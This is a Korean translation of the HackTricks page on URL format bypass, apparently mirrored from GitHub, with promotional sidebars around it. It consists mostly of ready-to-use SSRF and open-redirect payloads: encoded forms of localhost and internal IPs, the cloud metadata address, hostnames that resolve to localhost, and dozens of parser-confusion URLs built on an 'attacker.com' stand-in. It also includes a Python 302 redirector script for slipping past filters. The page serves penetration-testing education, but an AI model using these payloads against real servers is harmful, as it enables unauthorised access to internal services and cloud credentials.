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https://github.com/carlospolop/hacktricks
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236 lines
10 KiB
Markdown
236 lines
10 KiB
Markdown
# URL 형식 우회
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<details>
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<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
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HackTricks를 지원하는 다른 방법:
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* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
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* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
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* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
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* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
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* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
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</details>
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**Try Hard Security Group**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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***
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### Localhost
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```bash
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# Localhost
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://127.1:80
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http://127.000000000000000.1
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http://0
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http:@0/ --> http://localhost/
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http://0.0.0.0:80
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http://localhost:80
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:3128/ Squid
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http://[0000::1]:80/
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http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
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http://①②⑦.⓪.⓪.⓪
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# CDIR bypass
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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# Dot bypass
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127。0。0。1
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127%E3%80%820%E3%80%820%E3%80%821
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# Decimal bypass
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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# Octal Bypass
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http://0177.0000.0000.0001
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http://00000177.00000000.00000000.00000001
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http://017700000001
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# Hexadecimal bypass
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127.0.0.1 = 0x7f 00 00 01
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http://0x7f000001/ = http://127.0.0.1
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http://0xc0a80014/ = http://192.168.0.20
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0x7f.0x00.0x00.0x01
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0x0000007f.0x00000000.0x00000000.0x00000001
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# Add 0s bypass
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127.000000000000.1
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# You can also mix different encoding formats
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# https://www.silisoftware.com/tools/ipconverter.php
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# Malformed and rare
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localhost:+11211aaa
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localhost:00011211aaaa
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http://0/
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http://127.1
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http://127.0.1
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# DNS to localhost
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localtest.me = 127.0.0.1
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customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
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mail.ebc.apple.com = 127.0.0.6 (localhost)
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127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
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www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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http://bugbounty.dod.network = 127.0.0.2 (localhost)
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1ynrnhl.xip.io == 169.254.169.254
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spoofed.burpcollaborator.net = 127.0.0.1
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```
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 (1) (1).png>)
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**Burp 확장 프로그램** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP)은 IP 형식 바이패스를 구현합니다.
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### 도메인 구문 분석기
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```bash
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https:attacker.com
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https:/attacker.com
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http:/\/\attacker.com
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https:/\attacker.com
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//attacker.com
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\/\/attacker.com/
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/\/attacker.com/
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/attacker.com
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%0D%0A/attacker.com
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#attacker.com
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#%20@attacker.com
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@attacker.com
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http://169.254.1698.254\@attacker.com
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attacker%00.com
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attacker%E3%80%82com
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attacker。com
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ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
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```
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```
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① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
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⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
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⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
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⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
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Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
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ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
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```
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### 도메인 혼동
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```bash
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# Try also to change attacker.com for 127.0.0.1 to try to access localhost
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# Try replacing https by http
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# Try URL-encoded characters
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https://{domain}@attacker.com
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https://{domain}.attacker.com
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https://{domain}%6D@attacker.com
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https://attacker.com/{domain}
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https://attacker.com/?d={domain}
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https://attacker.com#{domain}
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https://attacker.com@{domain}
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https://attacker.com#@{domain}
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https://attacker.com%23@{domain}
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https://attacker.com%00{domain}
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https://attacker.com%0A{domain}
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https://attacker.com?{domain}
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https://attacker.com///{domain}
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https://attacker.com\{domain}/
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https://attacker.com;https://{domain}
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https://attacker.com\{domain}/
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https://attacker.com\.{domain}
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https://attacker.com/.{domain}
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https://attacker.com\@@{domain}
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https://attacker.com:\@@{domain}
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https://attacker.com#\@{domain}
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https://attacker.com\anything@{domain}/
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https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
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# On each IP position try to put 1 attackers domain and the others the victim domain
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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#Parameter pollution
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next={domain}&next=attacker.com
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```
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### 경로 및 확장자 우회
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만약 URL이 반드시 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도해 볼 수 있습니다:
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```
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https://metadata/vulerable/path#/expected/path
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https://metadata/vulerable/path#.extension
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https://metadata/expected/path/..%2f..%2f/vulnerable/path
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```
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### Fuzzing
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도구 [**recollapse**](https://github.com/0xacb/recollapse)은 주어진 입력에서 변형을 생성하여 사용된 정규식을 우회하려고 시도할 수 있습니다. 자세한 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하십시오.
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### 리디렉션을 통한 우회
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서버가 SSRF의 **원본 요청을 필터링하지만** 해당 요청에 대한 **리디렉션** 응답은 필터링하지 않을 수 있습니다.\
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예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버가 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하고자 하는 리디렉션 위치로 이동하면 127.0.0.1과 같은 필터링된 IP 주소 또는 gopher와 같은 필터링된 **프로토콜**에 **액세스**할 수 있습니다.\
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[이 보고서를 확인하십시오.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
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```python
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#!/usr/bin/env python3
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#python3 ./redirector.py 8000 http://127.0.0.1/
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import sys
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from http.server import HTTPServer, BaseHTTPRequestHandler
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if len(sys.argv)-1 != 2:
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print("Usage: {} <port_number> <url>".format(sys.argv[0]))
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sys.exit()
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class Redirect(BaseHTTPRequestHandler):
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def do_GET(self):
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self.send_response(302)
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self.send_header('Location', sys.argv[2])
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self.end_headers()
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HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
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```
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## 설명된 트릭
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### 백슬래시 트릭
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_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 사이의 차이점을 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크이며, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되었습니다. 핵심 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하는 것에 있으며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 방식에 영향을 줍니다.
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### 다른 혼란
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.png>)
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이미지 출처: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
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## 참고 자료
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* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
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**Try Hard Security Group**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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<details>
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<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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HackTricks를 지원하는 다른 방법:
|
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|
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* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
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* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구입하세요
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* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
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* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
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* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
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</details>
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